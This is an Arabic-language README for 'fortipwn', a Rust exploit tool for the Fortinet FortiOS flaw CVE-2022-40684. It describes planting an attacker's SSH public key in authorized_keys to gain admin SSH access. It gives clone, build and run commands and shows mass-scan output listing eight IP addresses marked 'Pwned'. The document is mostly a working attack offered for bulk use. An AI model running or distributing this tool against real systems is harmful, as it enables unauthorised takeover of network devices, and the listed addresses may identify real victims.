
نص برمجي للتعداد لـ Forti CVE-2022-40684 مبني بلغة Rust
سكربت تعداد ثغرة Forti CVE-2022-40684 مبني بلغة Rust.
يقوم برفع مفتاح SSH عام إلى authorized_keys، مما يسمح للمهاجم بتسجيل الدخول عبر SSH إلى خادم يعمل بنظام FortiOS كمسؤول.
$ ./fortipwn <hosts.txt> <id_rsa.pub>
$ git clone https://github.com/Grapphy/fortipwn/
$ cd fortipwn
$ cargo build --release
$ cd target/release/
$ ./fortipwn <host.txt> <id_rsa.pub>
$ ./fortipwn examples_ip.txt id_rsa.pub
Checking for 150 hosts. You might log-in through ssh as admin@host on pwned hosts.
Pwned: 210.29.110.143
Pwned: 144.14.71.122
Pwned: 21.220.10.82
Pwned: 163.123.102.32
Pwned: 121.159.192.10
Pwned: 162.49.194.19
Pwned: 185.92.20.40
Pwned: 194.19.211.19
Finished scanning